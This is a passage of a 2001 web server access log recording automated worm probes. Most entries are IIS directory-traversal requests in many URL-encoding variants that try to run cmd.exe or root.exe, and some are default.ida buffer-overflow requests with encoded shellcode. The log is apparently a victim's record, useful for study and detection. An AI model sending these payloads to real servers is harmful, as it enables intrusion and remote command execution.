/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:57:46: [128.121.19.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:58:04: [128.121.19.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:58:22: [128.121.19.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:58:41: [128.121.19.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:58:59: [128.121.19.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:59:20: [128.121.19.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:59:39: [128.121.19.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:59:57: [128.121.19.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:00:15: [128.121.19.225] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 05:10:24: [128.121.19.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 05:10:42: [128.121.19.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:11:00: [128.121.19.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:11:19: [128.121.19.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:11:37: [128.121.19.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:11:55: [128.121.19.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:12:13: [128.121.19.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:12:32: [128.121.19.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:12:50: [128.121.19.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:13:08: [128.121.19.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:13:27: [128.121.19.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:13:45: [128.121.19.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:14:03: [128.121.19.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:14:21: [128.121.19.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:14:40: [128.121.19.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 05:14:58: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 05:37:00: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 05:48:24: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 06:19:08: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 06:19:26: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:19:45: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:20:03: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:20:21: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:20:39: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:20:57: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:21:16: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:21:34: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:21:52: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:22:10: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:22:28: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:22:47: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:23:05: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:23:23: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:23:41: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 06:43:26: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 06:43:45: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:44:03: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:44:21: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:44:40: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:44:58: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:45:16: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:45:35: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:45:53: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:46:11: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:46:29: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:46:48: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:47:06: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:47:24: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:47:42: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:48:01: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 06:52:52: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 06:53:11: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:53:29: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:53:47: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:54:06: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:54:24: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:54:42: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:55:00: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:55:19: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:55:37: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:55:55: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:56:14: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:56:32: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:56:50: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:57:08: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 06:57:27: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 07:11:26: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 07:11:44: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:12:02: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:12:21: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:12:39: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:12:57: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:13:15: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:13:34: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:13:52: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:14:17: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:14:35: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:14:54: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:15:12: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:15:30: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:15:48: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:16:07: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 07:22:08: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 07:22:31: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 07:22:49: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:23:08: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:23:26: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:23:44: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:24:02: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:24:21: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:24:39: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:24:57: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:25:16: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:25:34: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:25:52: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:26:11: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:26:29: YOGH [szptt171.szptt.net.cn] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 07:29:37: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:29:55: szptt171.szptt.net.cn [] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 07:29:56: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:14: szptt171.szptt.net.cn [] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:14: szptt171.szptt.net.cn [] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:15: szptt171.szptt.net.cn [] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:15: szptt171.szptt.net.cn [] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:16: szptt171.szptt.net.cn [] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:16: szptt171.szptt.net.cn [] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:17: szptt171.szptt.net.cn [] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:18: szptt171.szptt.net.cn [] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:18: szptt171.szptt.net.cn [] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:19: szptt171.szptt.net.cn [] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:23: szptt171.szptt.net.cn [] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:24: szptt171.szptt.net.cn [] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:25: szptt171.szptt.net.cn [] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:25: szptt171.szptt.net.cn [] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:30:26: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 07:30:56: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 07:31:15: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:31:33: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:31:51: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:32:10: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:32:28: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:32:46: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:33:04: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:33:23: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:33:41: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:33:59: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:34:17: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:34:36: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:34:54: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:35:12: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:35:31: [168.143.160.12] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 07:38:39: [168.143.160.12] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 07:38:58: [168.143.160.12] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:39:16: [168.143.160.12] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:39:35: [168.143.160.12] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:39:53: [168.143.160.12] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:40:12: [168.143.160.12] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:40:30: [168.143.160.12] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:40:49: [168.143.160.12] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:41:07: [168.143.160.12] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:41:25: [168.143.160.12] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:41:44: [168.143.160.12] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:42:02: [168.143.160.12] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:42:21: [168.143.160.12] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:42:39: [168.143.160.12] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:42:57: [168.143.160.12] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 07:43:16: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 08:06:20: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 08:36:15: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 08:36:34: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:36:52: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:37:10: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:37:29: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:37:47: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 08:38:05: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:38:23: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 08:38:42: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:39:00: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:39:19: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:39:37: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:39:55: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:40:14: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:40:32: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:40:50: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:41:09: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:41:27: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:41:45: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:42:04: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:42:22: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:42:40: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:42:59: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:43:17: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:43:35: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:43:54: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:44:12: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:44:30: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:44:48: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:45:07: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:45:25: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:45:43: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 08:57:51: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 08:58:09: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:58:27: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:58:45: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:59:04: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:59:22: [128.134.65.1] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 08:59:41: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 08:59:59: [128.134.65.1] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 09:00:17: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:00:36: [128.134.65.1] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:00:54: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:01:12: [128.134.65.1] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:01:31: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:01:49: [128.134.65.1] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:02:07: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:02:26: [128.134.65.1] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:02:44: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:03:02: [128.134.65.1] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:03:21: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:03:39: [128.134.65.1] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:03:57: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:04:15: [128.134.65.1] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:04:34: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:04:52: [128.134.65.1] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:05:11: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 09:05:29: [128.134.65.1] "GET 